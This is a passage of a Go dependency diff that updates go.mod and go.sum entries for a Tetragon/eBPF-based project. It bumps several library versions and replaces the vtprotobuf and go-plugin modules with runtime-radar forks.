k8s.io/kube-openapi v0.0.0-20250910181357-589584f1c912 // indirect - k8s.io/utils v0.0.0-20251002143259-bc988d571ff4 // indirect + k8s.io/kube-openapi v0.0.0-20260317180543-43fb72c5454a // indirect + k8s.io/utils v0.0.0-20260210185600-b8788abfbbc2 // indirect mvdan.cc/gofumpt v0.7.0 // indirect mvdan.cc/unparam v0.0.0-20240528143540-8a5130ca722f // indirect rsc.io/goversion v1.2.0 // indirect sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 // indirect sigs.k8s.io/randfill v1.0.0 // indirect - sigs.k8s.io/structured-merge-diff/v6 v6.3.0 // indirect + sigs.k8s.io/structured-merge-diff/v6 v6.3.2 // indirect ) - -replace github.com/planetscale/vtprotobuf => github.com/planetscale/vtprotobuf v0.4.0 diff --git a/go.sum b/go.sum index 7b9119ac..76399ef1 100644 --- a/go.sum +++ b/go.sum @@ -137,12 +137,14 @@ github.com/chavacava/garif v0.1.0/go.mod h1:XMyYCkEL58DF0oyW4qDjjnPWONs2HBqYKI+U github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/cilium/ebpf v0.19.0 h1:Ro/rE64RmFBeA9FGjcTc+KmCeY6jXmryu6FfnzPRIao= -github.com/cilium/ebpf v0.19.0/go.mod h1:fLCgMo3l8tZmAdM3B2XqdFzXBpwkcSTroaVqN08OWVY= -github.com/cilium/tetragon v1.5.0 h1:ibRpSdwlsCFhKrXPcv/EUGBHQOQEXdr02MqmCJLkwCs= -github.com/cilium/tetragon v1.5.0/go.mod h1:8lNamWrQXTorpk4jTFxXNk0vMrkRkpm5FaVUriD/Mpk= -github.com/cilium/tetragon/api v1.5.0 h1:R5wLYHjUkR7llcRqOlEeH1WDHKLKuckAto2dEAaUjZI= -github.com/cilium/tetragon/api v1.5.0/go.mod h1:i9kqjeYpoOT/lIuHd3C/UblZZTrY3KX20eDM9Kcy2TI= +github.com/cilium/ebpf v0.21.1-0.20260427123516-6bf8ddfd0f0f h1:nopso6RwQdimKwXQ/w27kjUiwpow/CB8NVvDGpQMMic= +github.com/cilium/ebpf v0.21.1-0.20260427123516-6bf8ddfd0f0f/go.mod h1:1kHKv6Kvh5a6TePP5vvvoMa1bclRyzUXELSs272fmIQ= +github.com/cilium/lumberjack/v2 v2.4.2 h1:Wea2z1+ikRhjS5z36I6vgeMlgh7xzvIzqW+t9tTvpkQ= +github.com/cilium/lumberjack/v2 v2.4.2/go.mod h1:yfbtPGmg4i//5oEqzaMxDqSWqgfZFmMoV70Mc2k6v0A= +github.com/cilium/tetragon v1.7.0 h1:OrIjiUEUZKwipxSXbhztwVc5PeUxt7SEtLZpPx6jg8U= +github.com/cilium/tetragon v1.7.0/go.mod h1:1ZnYi7xFHHitBsm1ee6ekzpj6RP5Di3TkC4TwwdZK6g= +github.com/cilium/tetragon/api v1.7.0 h1:Rmdp2vfXklbZX5ICM9HjCxA20ErV+M3xbRlLHeEa48I= +github.com/cilium/tetragon/api v1.7.0/go.mod h1:Q1/7++rTbmz4fjjOd8pJ+iIAuNAt3BaApE3QL8r4KkM= github.com/cilium/tetragon/pkg/k8s v0.0.0-20251016134334-94b9cfd57721 h1:viS/rxJgY4v0cgNl3PnV+Rmw5B+SAIebj5O0TxnwG5g= github.com/cilium/tetragon/pkg/k8s v0.0.0-20251016134334-94b9cfd57721/go.mod h1:xbwsxY+/V3ZMPqpYoXj6nEHjXvxuPUXPyNp5B3UgvIw= github.com/ckaznocha/intrange v0.3.0 h1:VqnxtK32pxgkhJgYQEeOArVidIPg+ahLP7WBOXZd5ZY= @@ -160,8 +162,8 @@ github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSs github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/deckarep/golang-set/v2 v2.8.0 h1:swm0rlPCmdWn9mESxKOjWk8hXSqoxOp+ZlfuyaAdFlQ= -github.com/deckarep/golang-set/v2 v2.8.0/go.mod h1:VAky9rY/yGXJOLEDv3OMci+7wtDpOF4IN+y82NBOac4= +github.com/deckarep/golang-set/v2 v2.9.0 h1:prva4eP9UysWagLyKrtn074ughi0NnkIf0A4M5yOCKI= +github.com/deckarep/golang-set/v2 v2.9.0/go.mod h1:EWknQXbs0mcFpat2QOoXV0Ee57cD+w6ZEN76BR2JVrM= github.com/denis-tingaikin/go-header v0.5.0 h1:SRdnP5ZKvcO9KKRP1KJrhFR3RrlGuD+42t4429eC9k8= github.com/denis-tingaikin/go-header v0.5.0/go.mod h1:mMenU5bWrok6Wl2UsZjy+1okegmwQ3UgWl4V1D8gjlY= github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78= @@ -173,16 +175,16 @@ github.com/dlclark/regexp2 v1.11.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cn github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/emicklei/go-restful v2.9.5+incompatible h1:spTtZBk5DYEvbxMVutUuTyh1Ao2r4iyvLdACqsl/Ljk= -github.com/emicklei/go-restful/v3 v3.12.2 h1:DhwDP0vY3k8ZzE0RunuJy8GhNpPL6zqLkDf9B/a0/xU= -github.com/emicklei/go-restful/v3 v3.12.2/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc= +github.com/emicklei/go-restful/v3 v3.13.0 h1:C4Bl2xDndpU6nJ4bc1jXd+uTmYPVUwkD6bFY/oTyCes= +github.com/emicklei/go-restful/v3 v3.13.0/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/ettle/strcase v0.2.0 h1:fGNiVF21fHXpX1niBgk0aROov1LagYsOwV/xqKDKR/Q= github.com/ettle/strcase v0.2.0/go.mod h1:DajmHElDSaX76ITe3/VHVyMin4LWSJN5Z909Wp+ED1A= -github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM= -github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU= +github.com/fatih/color v1.19.0 h1:Zp3PiM21/9Ld6FzSKyL5c/BULoe/ONr9KlbYVOfG8+w= +github.com/fatih/color v1.19.0/go.mod h1:zNk67I0ZUT1bEGsSGyCZYZNrHuTkJJB+r6Q9VuMi0LE= github.com/fatih/structtag v1.2.0 h1:/OdNE99OxoI/PqaW/SuSK9uxxT3f/tcSZgon/ssNSx4= github.com/fatih/structtag v1.2.0/go.mod h1:mBJUNpUnHmRKrKlQQlmCrh5PuhftFbNv8Ys4/aAZl94= github.com/felixge/httpsnoop v1.1.0 h1:3YtUj32ZZkqZtt3sZZsClsymw/QDuVfpNhoA31zeORc= @@ -277,8 +279,8 @@ github.com/go-toolsmith/strparse v1.1.0 h1:GAioeZUK9TGxnLS+qfdqNbA4z0SSm5zVNtCQi github.com/go-toolsmith/strparse v1.1.0/go.mod h1:7ksGy58fsaQkGQlY8WVoBFNyEPMGuJin1rfoPS4lBSQ= github.com/go-toolsmith/typep v1.1.0 h1:fIRYDyF+JywLfqzyhdiHzRop/GQDxxNhLGQ6gFUNHus= github.com/go-toolsmith/typep v1.1.0/go.mod h1:fVIw+7zjdsMxDA3ITWnH1yOiw1rnTQKCsF/sk2H/qig= -github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs= -github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM= +github.com/go-viper/mapstructure/v2 v2.5.0 h1:vM5IJoUAy3d7zRSVtIwQgBj7BiWtMPfmPEgAXnvj1Ro= +github.com/go-viper/mapstructure/v2 v2.5.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM= github.com/go-xmlfmt/xmlfmt v1.1.3 h1:t8Ey3Uy7jDSEisW2K3somuMKIpzktkWptA0iFCnRUWY= github.com/go-xmlfmt/xmlfmt v1.1.3/go.mod h1:aUCEOzzezBEjDBbFBoSiya/gduyIiWYRP6CnSFIV8AM= github.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y= @@ -287,8 +289,8 @@ github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5x github.com/gofrs/flock v0.12.1 h1:MTLVXXHf8ekldpJk3AKicLij9MdwOWkZ+a/jHHZby9E= github.com/gofrs/flock v0.12.1/go.mod h1:9zxTsyu5xtJ9DK+1tFZyibEV7y3uwDxPPfbxeeHCoD0= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= -github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= -github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= +github.com/gojuno/minimock/v3 v3.4.7 h1:vhE5zpniyPDRT0DXd5s3DbtZJVlcbmC5k80izYtj9lY= +github.com/gojuno/minimock/v3 v3.4.7/go.mod h1:QxJk4mdPrVyYUmEZGc2yD2NONpqM/j4dWhsy9twjFHg= github.com/golang-jwt/jwt/v5 v5.3.0 h1:pv4AsKCKKZuqlgs5sUmn4x8UlGa0kEVt/puTpKx9vvo= github.com/golang-jwt/jwt/v5 v5.3.0/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= @@ -339,8 +341,8 @@ github.com/golangci/unconvert v0.0.0-20240309020433-c5143eacb3ed h1:IURFTjxeTfNF github.com/golangci/unconvert v0.0.0-20240309020433-c5143eacb3ed/go.mod h1:XLXN8bNw4CGRPaqgl3bv/lhz7bsGPh4/xSaMTbo2vkQ= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/cel-go v0.25.0 h1:jsFw9Fhn+3y2kBbltZR4VEz5xKkcIFRPDnuEzAGv5GY= -github.com/google/cel-go v0.25.0/go.mod h1:hjEb6r5SuOSlhCHmFoLzu8HGCERvIsDAbxDAyNU/MmI= +github.com/google/cel-go v0.28.0 h1:KjSWstCpz/MN5t4a8gnGJNIYUsJRpdi/r97xWDphIQc= +github.com/google/cel-go v0.28.0/go.mod h1:X0bD6iVNR8pkROSOoHVdgTkzmRcosof7WQqCD6wcMc8= github.com/google/gnostic-models v0.7.0 h1:qwTtogB15McXDaNqTZdzPJRHvaVJlAl+HVQnLmJEJxo= github.com/google/gnostic-models v0.7.0/go.mod h1:whL5G0m6dmc5cPxKc5bdKdEN3UjI7OUGxBlw57miDrQ= github.com/google/go-cmdtest v0.4.1-0.20220921163831-55ab3332a786 h1:rcv+Ippz6RAtvaGgKxc+8FQIpxHgsF+HBzPyYL2cyVU= @@ -361,8 +363,8 @@ github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeN github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= -github.com/google/gops v0.3.28 h1:2Xr57tqKAmQYRAfG12E+yLcoa2Y42UJo2lOrUFL9ark= -github.com/google/gops v0.3.28/go.mod h1:6f6+Nl8LcHrzJwi8+p0ii+vmBFSlB4f8cOOkTJ7sk4c= +github.com/google/gops v0.3.29 h1:n98J2qSOK1NJvRjdLDcjgDryjpIBGhbaqph1mXKL0rY= +github.com/google/gops v0.3.29/go.mod h1:8N3jZftuPazvUwtYY/ncG4iPrjp15ysNKLfq+QQPiwc= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= @@ -402,8 +404,8 @@ github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus v1.1.0 h1:QGLs github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus v1.1.0/go.mod h1:hM2alZsMUni80N33RBe6J0e423LB+odMj7d3EMP9l20= github.com/grpc-ecosystem/go-grpc-middleware/v2 v2.3.3 h1:B+8ClL/kCQkRiU82d9xajRPKYMrB7E0MbtzWVi1K4ns= github.com/grpc-ecosystem/go-grpc-middleware/v2 v2.3.3/go.mod h1:NbCUVmiS4foBGBHOYlCT25+YmGpJ32dZPi75pGEUpj4= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.27.3 h1:NmZ1PKzSTQbuGHw9DGPFomqkkLWMC+vZCkfs+FHv1Vg= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.27.3/go.mod h1:zQrxl1YP88HQlA6i9c63DSVPFklWpGX4OWAc9bFuaH4= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.28.0 h1:HWRh5R2+9EifMyIHV7ZV+MIZqgz+PMpZ14Jynv3O2Zs= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.28.0/go.mod h1:JfhWUomR1baixubs02l85lZYYOm7LV6om4ceouMv45c= github.com/hashicorp/go-immutable-radix/v2 v2.1.0 h1:CUW5RYIcysz+D3B+l1mDeXrQ7fUvGGCwJfdASSzbrfo= github.com/hashicorp/go-immutable-radix/v2 v2.1.0/go.mod h1:hgdqLXA4f6NIjRVisM1TJ9aOJVNRqKZj+xDGF6m7PBw= github.com/hashicorp/go-syslog v1.0.0 h1:KaodqZuhUoZereWVIYmpUgZysurB1kBLX2j0MwMrUAE= @@ -458,7 +460,6 @@ github.com/karamaru-alpha/copyloopvar v1.2.1 h1:wmZaZYIjnJ0b5UoKDjUHrikcV0zuPyyx github.com/karamaru-alpha/copyloopvar v1.2.1/go.mod h1:nFmMlFNlClC2BPvNaHMdkirmTJxVCY0lhxBtlfOypMM= github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs= github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= -github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/errcheck v1.9.0 h1:9xt1zI9EBfcYBvdU1nVrzMzzUPUtPKs9bVSIM3TAb3M= github.com/kisielk/errcheck v1.9.0/go.mod h1:kQxWMMVZgIkDq7U8xtG/n2juOjbLgZtedi0D+/VL/i8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= @@ -466,8 +467,6 @@ github.com/kkHAIKE/contextcheck v1.1.6 h1:7HIyRcnyzxL9Lz06NGhiKvenXq7Zw6Q0UQu/tt github.com/kkHAIKE/contextcheck v1.1.6/go.mod h1:3dDbMRNBFaq8HFXWC1JyvDSPm43CmE6IuHam8Wr0rkg= github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk= github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ= -github.com/knqyf263/go-plugin v0.9.0 h1:CQs2+lOPIlkZVtcb835ZYDEoyyWJWLbSTWeCs0EwTwI= -github.com/knqyf263/go-plugin v0.9.0/go.mod h1:2z5lCO1/pez6qGo8CvCxSlBFSEat4MEp1DrnA+f7w8Q= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= @@ -525,8 +524,8 @@ github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6T github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/matttproud/golang_protobuf_extensions v1.0.4/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4= -github.com/mennanov/fieldmask-utils v1.1.2 h1:f5hd3hYeWdl+q2thiKYyZZmqTqn90uayWG03bca9U+E= -github.com/mennanov/fieldmask-utils v1.1.2/go.mod h1:xRqd9Fjz/gFEDYCQw7pxGouxqLhSPrkOdx2yhEAXEls= +github.com/mennanov/fieldmask-utils v1.1.4 h1:E7YcAv7/7OZoaI+/ZoYhHMpKvqKFJ0bEH/lqlAY+NN0= +github.com/mennanov/fieldmask-utils v1.1.4/go.mod h1:xRqd9Fjz/gFEDYCQw7pxGouxqLhSPrkOdx2yhEAXEls= github.com/mfridman/interpolate v0.0.2 h1:pnuTK7MQIxxFz1Gr+rjSIx9u7qVjf5VOoM/u6BbAxPY= github.com/mfridman/interpolate v0.0.2/go.mod h1:p+7uk6oE07mpE/Ik1b8EckO0O4ZXiGAfshKBWLUM9Xg= github.com/mgechev/revive v1.7.0 h1:JyeQ4yO5K8aZhIKf5rec56u0376h8AlKNQEmjfkjKlY= @@ -584,8 +583,6 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/planetscale/vtprotobuf v0.4.0 h1:NEI+g4woRaAZgeZ3sAvbtyvMBRjIv5kE7EWYQ8m4JwY= -github.com/planetscale/vtprotobuf v0.4.0/go.mod h1:wm1N3qk9G/4+VM1WhpkLbvY/d8+0PbwYYpP5P5VhTks= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= @@ -623,8 +620,8 @@ github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+ github.com/prometheus/common v0.37.0/go.mod h1:phzohg0JFMnBEFGxTDbfu3QyL5GI8gTQJFhYO5B3mfA= github.com/prometheus/common v0.42.0/go.mod h1:xBwqVerjNdUDjgODMpudtOMwlOwf2SaTr1yjz4b7Zbc= github.com/prometheus/common v0.44.0/go.mod h1:ofAIvZbQ1e/nugmZGz4/qCb9Ap1VoSTIO7x0VV9VvuY= -github.com/prometheus/common v0.67.4 h1:yR3NqWO1/UyO1w2PhUvXlGQs/PtFmoveVO0KZ4+Lvsc= -github.com/prometheus/common v0.67.4/go.mod h1:gP0fq6YjjNCLssJCQp0yk4M8W6ikLURwkdd/YKtTbyI= +github.com/prometheus/common v0.67.5 h1:pIgK94WWlQt1WLwAC5j2ynLaBRDiinoAb86HZHTUGI4= +github.com/prometheus/common v0.67.5/go.mod h1:SjE/0MzDEEAyrdr5Gqc6G+sXI67maCxzaT3A2+HqjUw= github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= @@ -666,6 +663,10 @@ github.com/rs/cors v1.11.1/go.mod h1:XyqrcTp5zjWr1wsJ8PIRZssZ8b/WMcMf71DJnit4EMU github.com/rs/xid v1.6.0/go.mod h1:7XoLgs4eV+QndskICGsho+ADou8ySMSjJKDIan90Nz0= github.com/rs/zerolog v1.34.0 h1:k43nTLIwcTVQAncfCw4KZ2VY6ukYoZaBPNOE8txlOeY= github.com/rs/zerolog v1.34.0/go.mod h1:bJsvje4Z08ROH4Nhs5iH600c3IkWhwp44iRc54W6wYQ= +github.com/runtime-radar/go-plugin v0.12.0 h1:/BieVRA2D9ak/Aznm79fHIqZa5X0BOQlf7MurgPhrx8= +github.com/runtime-radar/go-plugin v0.12.0/go.mod h1:su6q4AsUvma2cqVSIxqHFizKIAG1T+KnJrETRvIRu6k= +github.com/runtime-radar/vtprotobuf v0.7.0 h1:sgOmhv8x0H4RmKfcYEVai5S4snHmpgQsQctBMglpTJE= +github.com/runtime-radar/vtprotobuf v0.7.0/go.mod h1:bLVqEvayWE3eCxauOKAIz0v6xpXLAllM6PAEGyUqmKg= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/ryancurrah/gomodguard v1.3.5 h1:cShyguSwUEeC0jS7ylOiG/idnd1TpJ1LfHGpV3oJmPU= github.com/ryancurrah/gomodguard v1.3.5/go.mod h1:MXlEPQRxgfPQa62O8wzK3Ozbkv9Rkqr+wKjSxTdsNJE= @@ -728,8 +729,6 @@ github.com/ssgreg/nlreturn/v2 v2.2.1 h1:X4XDI7jstt3ySqGU86YGAURbxw3oTDPK9sPEi6YE github.com/ssgreg/nlreturn/v2 v2.2.1/go.mod h1:E/iiPB78hV7Szg2YfRgyIrk1AD6JVMTRkkxBiELzh2I= github.com/stbenjam/no-sprintf-host-port v0.2.0 h1:i8pxvGrt1+4G0czLr/WnmyH7zbZ8Bg8etvARQ1rpyl4= github.com/stbenjam/no-sprintf-host-port v0.2.0/go.mod h1:eL0bQ9PasS0hsyTyfTjjG+E80QIyPnBVQbYZyv20Jfk= -github.com/stoewer/go-strcase v1.3.0 h1:g0eASXYtp+yvN9fK8sH94oCIk0fau9uV1/ZdJ0AVEzs= -github.com/stoewer/go-strcase v1.3.0/go.mod h1:fAH5hQ5pehh+j3nZfvwdk2RgEgQjAoM8wodgtPmh1xo= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= @@ -743,7 +742,6 @@ github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5 github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= -github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= @@ -758,8 +756,8 @@ github.com/tenntenn/text/transform v0.0.0-20200319021203-7eef512accb3 h1:f+jULpR github.com/tenntenn/text/transform v0.0.0-20200319021203-7eef512accb3/go.mod h1:ON8b8w4BN/kE1EOhwT0o+d62W65a6aPw1nouo9LMgyY= github.com/tetafro/godot v1.5.0 h1:aNwfVI4I3+gdxjMgYPus9eHmoBeJIbnajOyqZYStzuw= github.com/tetafro/godot v1.5.0/go.mod h1:2oVxTBSftRTh4+MVfUaUXR6bn2GDXCaMcOG4Dk3rfio= -github.com/tetratelabs/wazero v1.9.0 h1:IcZ56OuxrtaEz8UYNRHBrUa9bYeX9oVY93KspZZBf/I= -github.com/tetratelabs/wazero v1.9.0/go.mod h1:TSbcXCfFP0L2FGkRPxHphadXPjo1T6W+CseNNY7EkjM= +github.com/tetratelabs/wazero v1.12.0 h1:DuWcpNu/FzgEXgGBDp8J1Spc+CWOvvtvVyjKlaZopYU= +github.com/tetratelabs/wazero v1.12.0/go.mod h1:LvKtzl2RqO4gyF27BiXU+nKAjcV8f38U+kP/q2vgxh0= github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY= github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= @@ -826,6 +824,8 @@ go-simpler.org/musttag v0.13.0 h1:Q/YAW0AHvaoaIbsPj3bvEI5/QFP7w696IMUpnKXQfCE= go-simpler.org/musttag v0.13.0/go.mod h1:FTzIGeK6OkKlUDVpj0iQUXZLUO1Js9+mvykDQy9C5yM= go-simpler.org/sloglint v0.9.0 h1:/40NQtjRx9txvsB/RN022KsUJU+zaaSb/9q9BSefSrE= go-simpler.org/sloglint v0.9.0/go.mod h1:G/OrAF6uxj48sHahCzrbarVMptL2kjWTaUeC8+fOGww= +go.mongodb.org/mongo-driver v1.17.4 h1:jUorfmVzljjr0FLzYQsGP8cgN/qzzxlY9Vh0C9KFXVw= +go.mongodb.org/mongo-driver v1.17.4/go.mod h1:Hy04i7O2kC4RS06ZrhPRqj/u4DTYkFDAAccj+rVKqgQ= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= @@ -1076,8 +1076,8 @@ golang.org/x/text 